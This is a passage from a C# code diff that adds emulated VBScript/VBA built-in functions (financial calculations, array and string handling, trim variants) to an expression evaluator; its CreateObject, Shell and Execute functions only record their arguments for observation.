+ type = (int)Financial.DueDate.EndOfPeriod; // Default value if not provided + } + + // Calculate FV + double fv = Financial.FV(rate, nper, pmt, pv, (Financial.DueDate)type); + + return new DMathExpression(fv) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + + } + + public class VB_DDB : VbNativeFunction + { + public VB_DDB(IVBScopeObject context) + : base(context, "DDB") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double cost, salvage, life, period; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out cost) || + !Converter.TryGetDoubleValue(args[1], out salvage) || + !Converter.TryGetDoubleValue(args[2], out life) || + !Converter.TryGetDoubleValue(args[3], out period)) + { + return DefaultExpression(args); + } + + // Calculate DDB + double rate = 2.0 / life; + double depreciation = cost * Math.Pow(1 - rate, period - 1) * rate; + + // Ensure depreciation doesn't go below the salvage value + double accumulatedDepreciation = cost * (1 - Math.Pow(1 - rate, period)); + if (accumulatedDepreciation > (cost - salvage)) + { + depreciation = cost - salvage - accumulatedDepreciation + depreciation; + } + + return new DMathExpression(depreciation) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + public class VB_IPmt : VbNativeFunction + { + public VB_IPmt(IVBScopeObject context) + : base(context, "IPmt") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, per, nper, pv; + double fv = 0.0; // Default value for future value + int type = 0; // Default value for type (end of period) + + // Retrieve mandatory arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out per) || + !Converter.TryGetDoubleValue(args[2], out nper) || + !Converter.TryGetDoubleValue(args[3], out pv)) + { + return DefaultExpression(args); + } + + // Retrieve optional arguments + if (args.Length > 4 && !Converter.TryGetDoubleValue(args[4], out fv)) + { + fv = 0.0; // Default if not provided + } + + if (args.Length > 5 && !Converter.TryGetInt32Value(args[5], out type)) + { + type = 0; // Default if not provided (0 = end of period, 1 = beginning) + } + + // Calculate the interest payment + double ipmt = Financial.IPmt(rate, per, nper, pv, fv, (Financial.DueDate)type); + + return new DMathExpression(ipmt) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + + public class VB_IRR : VbNativeFunction + { + public VB_IRR(IVBScopeObject context) + : base(context, "IRR") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + DArrayExpression cashFlowsArray; + double guess = 0.1; + + // Retrieve the array of cash flows + if (!Converter.TryGetArrayExpression(args[0], out cashFlowsArray)) + { + return DefaultExpression(args); + } + + // Optionally retrieve the guess value + if (args.Length > 1 && !Converter.TryGetDoubleValue(args[1], out guess)) + { + return DefaultExpression(args); + } + + // Convert the array items to doubles, return default if conversion fails + double[] cashFlows = new double[cashFlowsArray.Items.Count]; + for (int i = 0; i < cashFlowsArray.Items.Count; i++) + { + if (!Converter.TryGetDoubleValue(cashFlowsArray.Items[i], out cashFlows[i])) + { + return DefaultExpression(args); + } + } + + // Calculate IRR using Newton-Raphson method or similar + double irr = (double)Financial.CalculateIRR(cashFlows, guess); + + return new DMathExpression(irr) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + + } + + public class VB_MIRR : VbNativeFunction + { + public VB_MIRR(IVBScopeObject context) + : base(context, "MIRR") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + DArrayExpression cashFlowsArray; + double financeRate, reinvestRate; + + // Retrieve the array of cash flows + if (!Converter.TryGetArrayExpression(args[0], out cashFlowsArray)) + { + return DefaultExpression(args); + } + + // Retrieve finance rate and reinvestment rate + if (!Converter.TryGetDoubleValue(args[1], out financeRate) || + !Converter.TryGetDoubleValue(args[2], out reinvestRate)) + { + return DefaultExpression(args); + } + + // Convert the array items to doubles, return default if conversion fails + double[] cashFlows = new double[cashFlowsArray.Items.Count]; + for (int i = 0; i < cashFlowsArray.Items.Count; i++) + { + if (!Converter.TryGetDoubleValue(cashFlowsArray.Items[i], out cashFlows[i])) + { + return DefaultExpression(args); + } + } + + // Calculate MIRR + double mirr = Financial.MIRR(ref cashFlows, financeRate, reinvestRate); + + return new DMathExpression(mirr) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + + } + + public class VB_NPV : VbNativeFunction + { + public VB_NPV(IVBScopeObject context) + : base(context, "NPV") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate; + DArrayExpression cashFlowsArray; + + // Retrieve the discount rate and cash flows + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetArrayExpression(args[1], out cashFlowsArray)) + { + return DefaultExpression(args); + } + + // Convert the array items to doubles, return default if conversion fails + double[] cashFlows = new double[cashFlowsArray.Items.Count]; + for (int i = 0; i < cashFlowsArray.Items.Count; i++) + { + if (!Converter.TryGetDoubleValue(cashFlowsArray.Items[i], out cashFlows[i])) + { + return DefaultExpression(args); + } + } + + // Calculate NPV + double npv = 0; + for (int t = 0; t < cashFlows.Length; t++) + { + npv += cashFlows[t] / Math.Pow(1 + rate, t + 1); + } + + return new DMathExpression(npv) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + + public class VB_Pmt : VbNativeFunction + { + public VB_Pmt(IVBScopeObject context) + : base(context, "Pmt") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, nper, pv, fv = 0; + int type = 0; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out nper) || + !Converter.TryGetDoubleValue(args[2], out pv)) + { + return DefaultExpression(args); + } + + // Optional arguments + if (args.Length > 3 && !Converter.TryGetDoubleValue(args[3], out fv)) + { + return DefaultExpression(args); + } + + if (args.Length > 4 && !Converter.TryGetInt32Value(args[4], out type)) + { + return DefaultExpression(args); + } + + // Calculate Pmt + double pmt; + if (rate == 0) + { + pmt = -(pv + fv) / nper; + } + else + { + pmt = -((pv * Math.Pow(1 + rate, nper) + fv) / ((1 + rate * type) * (Math.Pow(1 + rate, nper) - 1) / rate)); + } + + return new DMathExpression(pmt) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + public class VB_PPmt : VbNativeFunction + { + public VB_PPmt(IVBScopeObject context) + : base(context, "PPmt") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, per, nper, pv; + double fv = 0.0; // Default value for future value + int type = 0; // Default value for type (end of period) + + // Retrieve mandatory arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out per) || + !Converter.TryGetDoubleValue(args[2], out nper) || + !Converter.TryGetDoubleValue(args[3], out pv)) + { + return DefaultExpression(args); + } + + // Retrieve optional arguments + if (args.Length > 4 && !Converter.TryGetDoubleValue(args[4], out fv)) + { + fv = 0.0; // Default if not provided + } + + if (args.Length > 5 && !Converter.TryGetInt32Value(args[5], out type)) + { + type = 0; // Default if not provided (0 = end of period, 1 = beginning) + } + + // Calculate PPmt + double ppmt = Financial.PPmt(rate, per, nper, pv, fv, (Financial.DueDate)type); + + return new DMathExpression(ppmt) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + + public class VB_PV : VbNativeFunction + { + public VB_PV(IVBScopeObject context) + : base(context, "PV") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, nper, pmt, fv = 0; + int type = 0; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out nper) || + !Converter.TryGetDoubleValue(args[2], out pmt)) + { + return DefaultExpression(args); + } + + // Optional arguments + if (args.Length > 3 && !Converter.TryGetDoubleValue(args[3], out fv)) + { + return DefaultExpression(args); + } + + if (args.Length > 4 && !Converter.TryGetInt32Value(args[4], out type)) + { + return DefaultExpression(args); + } + + // Calculate PV + double pv; + if (rate == 0) + { + pv = -(pmt * nper + fv); + } + else + { + pv = -((fv + pmt * (1 + rate * type) * (Math.Pow(1 + rate, nper) - 1) / rate) / Math.Pow(1 + rate, nper)); + } + + return new DMathExpression(pv) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + public class VB_Rate : VbNativeFunction + { + public VB_Rate(IVBScopeObject context) + : base(context, "Rate") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double nper, pmt, pv, fv = 0; + int type = 0; + double guess = 0.1; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out nper) || + !Converter.TryGetDoubleValue(args[1], out pmt) || + !Converter.TryGetDoubleValue(args[2], out pv)) + { + return DefaultExpression(args); + } + + // Optional arguments + if (args.Length > 3 && !Converter.TryGetDoubleValue(args[3], out fv)) + { + return DefaultExpression(args); + } + + if (args.Length > 4 && !Converter.TryGetInt32Value(args[4], out type)) + { + return DefaultExpression(args); + } + + if (args.Length > 5 && !Converter.TryGetDoubleValue(args[5], out guess)) + { + return DefaultExpression(args); + } + + // Calculate Rate using Newton-Raphson method + double rate = CalculateRate(nper, pmt, pv, fv, type, guess); + + return new DMathExpression(rate) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + + private double CalculateRate(double nper, double pmt, double pv, double fv, int type, double guess) + { + const double tolerance = 1e-6; + const int maxIterations = 100; + double rate = guess; + + for (int i = 0; i < maxIterations; i++) + { + double fValue = pv * Math.Pow(1 + rate, nper) + pmt * (1 + rate * type) * (Math.Pow(1 + rate, nper) - 1) / rate + fv; + double fDerivative = nper * pv * Math.Pow(1 + rate, nper - 1) - pmt * (1 + rate * type) * (Math.Pow(1 + rate, nper) - 1) / (rate * rate) + nper * pmt * (1 + rate * type) * Math.Pow(1 + rate, nper - 1) / rate; + + double newRate = rate - fValue / fDerivative; + + if (Math.Abs(newRate - rate) < tolerance) + { + return newRate; + } + + rate = newRate; + } + + throw new Exception("Rate did not converge"); + } + } + public class VB_SLN : VbNativeFunction + { + public VB_SLN(IVBScopeObject context) + : base(context, "SLN") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double cost, salvage, life; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out cost) || + !Converter.TryGetDoubleValue(args[1], out salvage) || + !Converter.TryGetDoubleValue(args[2], out life)) + { + return DefaultExpression(args); + } + + // Calculate SLN + double depreciation = (cost - salvage) / life; + + return new DMathExpression(depreciation) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + public class VB_SYD : VbNativeFunction + { + public VB_SYD(IVBScopeObject context) + : base(context, "SYD") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double cost, salvage, life, period; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out cost) || + !Converter.TryGetDoubleValue(args[1], out salvage) || + !Converter.TryGetDoubleValue(args[2], out life) || + !Converter.TryGetDoubleValue(args[3], out period)) + { + return DefaultExpression(args); + } + + // Calculate SYD + double sumOfYearsDigits = (life * (life + 1)) / 2; + double depreciation = ((cost - salvage) * (life - period + 1)) / sumOfYearsDigits; + + return new DMathExpression(depreciation) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + public class VB_NPer : VbNativeFunction + { + public VB_NPer(IVBScopeObject context) + : base(context, "NPer") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, pmt, pv, fv = 0; + int type = 0; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out pmt) || + !Converter.TryGetDoubleValue(args[2], out pv)) + { + return DefaultExpression(args); + } + + // Optional arguments + if (args.Length > 3 && !Converter.TryGetDoubleValue(args[3], out fv)) + { + return DefaultExpression(args); + } + + if (args.Length > 4 && !Converter.TryGetInt32Value(args[4], out type)) + { + return DefaultExpression(args); + } + + // Calculate NPer + double nper; + if (rate == 0) + { + nper = -(pv + fv) / pmt; + } + else + { + nper = Math.Log((pmt * (1 + rate * type) - fv * rate) / (pv * rate + pmt * (1 + rate * type))) / Math.Log(1 + rate); + } + + return new DMathExpression(nper) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + + + + public class VB_Array : VbNativeFunction + { + public VB_Array(IVBScopeObject context) + : base(context, "Array") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + // Create a new DArrayExpression from the provided arguments + var arrayExpression = new DArrayExpression(args); + + // Return the DArrayExpression + return arrayExpression; + } + } + + public class VB_LBound : VbNativeFunction + { + public VB_LBound(IVBScopeObject context) + : base(context, "LBound") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + DArrayExpression arrayExpression; + int dimension = 1; // Default dimension is 1 + + // Retrieve the array + if (!Converter.TryGetArrayExpression(args[0], out arrayExpression)) + { + return DefaultExpression(args); + } + + // Optionally retrieve the dimension (1-based index) + if (args.Length > 1 && !Converter.TryGetInt32Value(args[1], out dimension)) + { + return DefaultExpression(args); + } + + if (dimension != 1) + { + throw new ArgumentException("Only single-dimensional arrays are supported."); + } + + // In VBA, the default lower bound is typically 0 + return new DMathExpression(0) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + public class VB_UBound : VbNativeFunction + { + public VB_UBound(IVBScopeObject context) + : base(context, "UBound") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + DArrayExpression arrayExpression; + int dimension = 1; // Default dimension is 1 + + // Retrieve the array + if (!Converter.TryGetArrayExpression(args[0], out arrayExpression)) + { + return DefaultExpression(args); + } + + // Optionally retrieve the dimension (1-based index) + if (args.Length > 1 && !Converter.TryGetInt32Value(args[1], out dimension)) + { + return DefaultExpression(args); + } + + if (dimension != 1) + { + throw new ArgumentException("Only single-dimensional arrays are supported."); + } + + // Return the upper bound, which is the count of items minus one + int upperBound = arrayExpression.Items.Count - 1; + return new DMathExpression(upperBound) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + public class VB_Join : VbNativeFunction + { + public VB_Join(IVBScopeObject context) + : base(context, "Join") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + DArrayExpression arrayExpr; + string delimiter = " "; // Default delimiter + + // Retrieve the array + if (!Converter.TryGetArrayExpression(args[0], out arrayExpr)) + { + return DefaultExpression(args); + } + + // Retrieve the delimiter if provided + if (args.Length > 1) + { + if (!Converter.TryGetStringValue(args[1], out delimiter)) + { + delimiter = " "; // Default to space if conversion fails + } + } + + // Convert the array items to strings + List items = new List(); + foreach (var item in arrayExpr.Items) + { + string strItem; + if (Converter.TryGetStringValue(item, out strItem)) + { + items.Add(strItem); + } + else + { + return DefaultExpression(args); + //items.Add(item.ToExpressionString()); // Fallback to the expression string + } + } + + // Join the items with the specified delimiter + string result = string.Join(delimiter, items); + + return new DSimpleStringExpression(result, Encoding.Unicode, Context.Options); + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + public class VB_Split : VbNativeFunction + { + public VB_Split(IVBScopeObject context) + : base(context, "Split") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + string expression; + string delimiter = " "; // Default delimiter + int limit = -1; // Default limit (no limit) + int compare = 0; // Default comparison type (binary) + + // Retrieve the string to split + if (!Converter.TryGetStringValue(args[0], out expression)) + { + return DefaultExpression(args); + } + + // Retrieve the delimiter if provided + if (args.Length > 1 && !Converter.TryGetStringValue(args[1], out delimiter)) + { + delimiter = " "; // Default to space if conversion fails + } + + // Retrieve the limit if provided + if (args.Length > 2 && !Converter.TryGetInt32Value(args[2], out limit)) + { + limit = -1; // Default to no limit if conversion fails + } + + // Retrieve the comparison type if provided + if (args.Length > 3 && !Converter.TryGetInt32Value(args[3], out compare)) + { + compare = 0; // Default to binary compare if conversion fails + } + + // Adjust the expression and delimiter for case-insensitive comparison if necessary + if (compare == 1) // Text comparison + { + expression = expression.ToLowerInvariant(); + delimiter = delimiter.ToLowerInvariant(); + } + + // Split the string + string[] resultArray = limit > 0 + ? expression.Split(new string[] { delimiter }, limit, StringSplitOptions.None) + : expression.Split(new string[] { delimiter }, StringSplitOptions.None); + + // Convert the result into a DArrayExpression + List resultExpressions = new List(); + foreach (var item in resultArray) + { + resultExpressions.Add(new DSimpleStringExpression(item, Encoding.Unicode, Context.Options)); + } + + return new DArrayExpression(resultExpressions); + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + + + public class VB_CreateObject + : VbNativeFunction + { + public VB_CreateObject(IVBScopeObject context) + : base(context, "CreateObject") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + if (Context?.Options?.CreateObjectObserver != null) + { + Context.Options.CreateObjectObserver.CreateObjectObserved.Add(strArg.Replace("\"\"", "\"")); + } + + return DefaultExpression(args); + } + } + + public class VB_Shell + : VbNativeFunction + { + public VB_Shell(IVBScopeObject context) + : base(context, "Shell") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + if (Context?.Options?.ShellObserver != null) + { + Context.Options.ShellObserver.ShellObserved.Add(strArg.Replace("\"\"", "\"")); + } + + return DefaultExpression(args); + } + } + + public class VB_Execute + : VbNativeFunction + { + public VB_Execute(IVBScopeObject context) + : base(context, "Execute") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + if (Context?.Options?.ExecuteObserver != null) + { + Context.Options.ExecuteObserver.VBScriptExecuted.Add(strArg.Replace("\"\"", "\"")); + } + + return DefaultExpression(args); + } + } + + public class VB_Replace + : VbNativeFunction + { + public VB_Replace(IVBScopeObject context) + : base(context, "Replace") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + if (args.Length < 3) + throw new Exception(); + + DExpression exp = args[0]; + DExpression findExp = args[1]; + DExpression replExp = args[2]; + + string expStr; + string findStr; + string replStr; + + if (!Converter.TryGetStringValue(exp, out expStr)) + return DefaultExpression(args); + if (!Converter.TryGetStringValue(findExp, out findStr)) + return DefaultExpression(args); + if (!Converter.TryGetStringValue(replExp, out replStr)) + return DefaultExpression(args); + + if (args.Length > 3) + { + DExpression startExp = args[3]; + } + + if (args.Length > 4) + { + DExpression countExp = args[4]; + } + + if (args.Length > 5) + { + DExpression compareExp = args[5]; + } + + string str = findStr.Equals(replStr) ? expStr : expStr.Replace(findStr, replStr); + + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } + + } + + public class VB_Mid_S + : VB_Mid + { + public VB_Mid_S(IVBScopeObject context) + : base(context, "Mid$") + { + } + } + + public class VB_InStr : VbNativeFunction + { + public VB_InStr(IVBScopeObject context) + : base(context, "InStr") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + int start = 1; + string string1, string2; + StringComparison comparisonType = StringComparison.Ordinal; + + // If 4 arguments are passed, the first is the start position and the last is the comparison type + if (args.Length == 4) + { + if (!Converter.TryGetInt32Value(args[0], out start)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetStringValue(args[1], out string1) || + !Converter.TryGetStringValue(args[2], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[3], out int comparisonMode)) + { + return DefaultExpression(args); + } + + // Set the comparison type + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + // If 3 arguments are passed, the first can be start or comparison type based on their type + else if (args.Length == 3) + { + if (args[0] is DMathExpression) + { + if (!Converter.TryGetInt32Value(args[0], out start)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetStringValue(args[1], out string1) || + !Converter.TryGetStringValue(args[2], out string2)) + { + return DefaultExpression(args); + } + } + else + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[2], out int comparisonMode)) + { + return DefaultExpression(args); + } + + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + } + // If 2 arguments are passed, they are the strings to compare + else if (args.Length == 2) + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + } + else + { + return DefaultExpression(args); + } + + // Adjust for 1-based index + start = start - 1; + + // Perform the search + int position = string1.IndexOf(string2, start, comparisonType); + + // Convert the result back to 1-based index + position = position == -1 ? 0 : position + 1; + + return new DMathExpression(position) { HasSideEffet = false }; + } + } + + public class VB_InStrB : VbNativeFunction + { + public VB_InStrB(IVBScopeObject context) + : base(context, "InStrB") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + int startByte = 1; + string string1, string2; + StringComparison comparisonType = StringComparison.Ordinal; + + // Convert strings to byte arrays using Unicode encoding + byte[] byteArray1, byteArray2; + + // If 4 arguments are passed, the first is the start byte position and the last is the comparison type + if (args.Length == 4) + { + if (!Converter.TryGetInt32Value(args[0], out startByte)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetStringValue(args[1], out string1) || + !Converter.TryGetStringValue(args[2], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[3], out int comparisonMode)) + { + return DefaultExpression(args); + } + + // Set the comparison type + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + // If 3 arguments are passed, the first can be start byte position or comparison type based on their type + else if (args.Length == 3) + { + if (args[0] is DMathExpression) + { + if (!Converter.TryGetInt32Value(args[0], out startByte)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetStringValue(args[1], out string1) || + !Converter.TryGetStringValue(args[2], out string2)) + { + return DefaultExpression(args); + } + } + else + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[2], out int comparisonMode)) + { + return DefaultExpression(args); + } + + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + } + // If 2 arguments are passed, they are the strings to compare + else if (args.Length == 2) + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + } + else + { + return DefaultExpression(args); + } + + // Convert strings to byte arrays + byteArray1 = Encoding.Unicode.GetBytes(string1); + byteArray2 = Encoding.Unicode.GetBytes(string2); + + // Adjust for 1-based index (convert to 0-based) + startByte = (startByte - 1) / 2; // Dividing by 2 because each character is 2 bytes in Unicode + + + // Perform the search within the byte array + int bytePosition = IndexOfByteArray(byteArray1, byteArray2, startByte); + + // Convert the result back to 1-based index + bytePosition = bytePosition == -1 ? 0 : bytePosition + 1; + + return new DMathExpression(bytePosition) { HasSideEffet = false }; + } + + private int IndexOfByteArray(byte[] byteArray1, byte[] byteArray2, int startByte) + { + for (int i = startByte; i <= byteArray1.Length - byteArray2.Length; i++) + { + bool match = true; + for (int j = 0; j < byteArray2.Length; j++) + { + if (byteArray1[i + j] != byteArray2[j]) + { + match = false; + break; + } + } + if (match) return i; + } + return -1; + } + } + + public class VB_InStrRev : VbNativeFunction + { + public VB_InStrRev(IVBScopeObject context) + : base(context, "InStrRev") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + string string1, string2; + int start = -1; // Start position defaults to the end of the string + StringComparison comparisonType = StringComparison.Ordinal; + + // If 4 arguments are passed, the first is the string, second is the substring, third is start, and fourth is comparison mode + if (args.Length == 4) + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[2], out start)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[3], out int comparisonMode)) + { + return DefaultExpression(args); + } + + // Set the comparison type + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + // If 3 arguments are passed, they can be the strings and start position, or strings and comparison mode + else if (args.Length == 3) + { + if (args[2] is DMathExpression) + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2) || + !Converter.TryGetInt32Value(args[2], out start)) + { + return DefaultExpression(args); + } + } + else + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[2], out int comparisonMode)) + { + return DefaultExpression(args); + } + + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + } + // If 2 arguments are passed, they are the strings to compare + else if (args.Length == 2) + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + } + else + { + return DefaultExpression(args); + } + + // If start is not provided, or if it's set to -1, it means start from the end of the string + if (start == -1 || start > string1.Length) + { + start = string1.Length; + } + + // Adjust for 1-based index by subtracting 1 (since start in C# is 0-based) + start = start - 1; + + // Perform the reverse search + int position = string1.LastIndexOf(string2, start, comparisonType); + + // Convert the result back to 1-based index + position = position == -1 ? 0 : position + 1; + + return new DMathExpression(position) { HasSideEffet = false }; + } + } + + public class VB_Len : VbNativeFunction + { + public VB_Len(IVBScopeObject context) + : base(context, "Len") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + string strArg; + + // Check if the argument is valid and can be converted to a string + if (!Converter.TryGetStringValue(args[0], out strArg)) + { + return DefaultExpression(args); + } + + // The length in characters is simply the length of the string + int charLength = strArg.Length; + + return new DMathExpression(charLength) { HasSideEffet = false }; + } + } + + public class VB_LenB : VbNativeFunction + { + public VB_LenB(IVBScopeObject context) + : base(context, "LenB") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + string strArg; + + // Check if the argument is valid and can be converted to a string + if (!Converter.TryGetStringValue(args[0], out strArg)) + { + return DefaultExpression(args); + } + + // Convert the string to a byte array using Unicode encoding + byte[] byteArray = Encoding.Unicode.GetBytes(strArg); + + // The length in bytes is simply the length of the byte array + int byteLength = byteArray.Length; + + return new DMathExpression(byteLength) { HasSideEffet = false }; + } + } + + public class VB_Mid : VbNativeFunction + { + public VB_Mid(IVBScopeObject context, string identifier) + : base(context, identifier) + { + } + public VB_Mid(IVBScopeObject context) + : base(context, "Mid") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + string strArg; + int start, length; + + // Check if the first argument (string) is valid + if (!Converter.TryGetStringValue(args[0], out strArg)) + { + return DefaultExpression(args); + } + + // Check if the second argument (start position) is valid + if (!Converter.TryGetInt32Value(args[1], out start)) + { + return DefaultExpression(args); + } + + // Adjust for 1-based index (VB uses 1-based, C# uses 0-based) + start = start - 1; + + // Determine if length argument is provided + if (args.Length > 2 && Converter.TryGetInt32Value(args[2], out length)) + { + // Ensure length does not exceed the remaining string + if (start + length > strArg.Length) + { + length = strArg.Length - start; + } + } + else + { + // If length is not provided, extract to the end of the string + length = strArg.Length - start; + } + + // Check for valid start position and length + if (start < 0 || start >= strArg.Length || length < 0) + { + return new DSimpleStringExpression(string.Empty, Encoding.Unicode, Context.Options); + } + + string result = strArg.Substring(start, length); + return new DSimpleStringExpression(result, Encoding.Unicode, Context.Options); + } + } + + + public class VB_MidB_S + : VB_MidB + { + public VB_MidB_S(IVBScopeObject context) + : base(context, "MidB$") + { + } + } + public class VB_MidB : VbNativeFunction + { + public VB_MidB(IVBScopeObject context, string identifier) + : base(context, identifier) + { + } + + public VB_MidB(IVBScopeObject context) + : base(context, "MidB") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + string strArg; + int startByte, lengthBytes; + + // Check if the first argument (string) is valid + if (!Converter.TryGetStringValue(args[0], out strArg)) + { + return DefaultExpression(args); + } + + // Convert the string to a byte array using the appropriate encoding + byte[] byteArray = Encoding.Unicode.GetBytes(strArg); + + // Check if the second argument (start byte position) is valid + if (!Converter.TryGetInt32Value(args[1], out startByte)) + { + return DefaultExpression(args); + } + + // Adjust for 1-based index (VB uses 1-based, C# uses 0-based) + startByte = startByte - 1; + + // Determine if length argument is provided + if (args.Length > 2 && Converter.TryGetInt32Value(args[2], out lengthBytes)) + { + // Ensure length does not exceed the remaining bytes + if (startByte + lengthBytes > byteArray.Length) + { + lengthBytes = byteArray.Length - startByte; + } + } + else + { + // If length is not provided, extract to the end of the byte array + lengthBytes = byteArray.Length - startByte; + } + + // Check for valid start byte position and length + if (startByte < 0 || startByte >= byteArray.Length || lengthBytes < 0) + { + return new DSimpleStringExpression(string.Empty, Encoding.Unicode, Context.Options); + } + + // Extract the specified byte range + byte[] resultBytes = byteArray.Skip(startByte).Take(lengthBytes).ToArray(); + + // Convert the result back to a string + string result = Encoding.Default.GetString(resultBytes); + return new DSimpleStringExpression(result, Encoding.Unicode, Context.Options); + } + } + + - public class VB_CreateObject - : VbNativeFunction + public class VB_Trim_S + : VB_Trim { - public VB_CreateObject(IVBScopeObject context) - : base(context, "CreateObject") + public VB_Trim_S(IVBScopeObject context) + : base(context, "Trim$") + { + } + } + + + public class VB_LTrim_S + : VB_LTrim + { + public VB_LTrim_S(IVBScopeObject context) + : base(context, "LTrim$") + { + } + } + + public class VB_RTrim_S + : VB_RTrim + { + public VB_RTrim_S(IVBScopeObject context) + : base(context, "RTrim$") + { + } + } + + public class VB_LCase_S + : VB_LCase + { + public 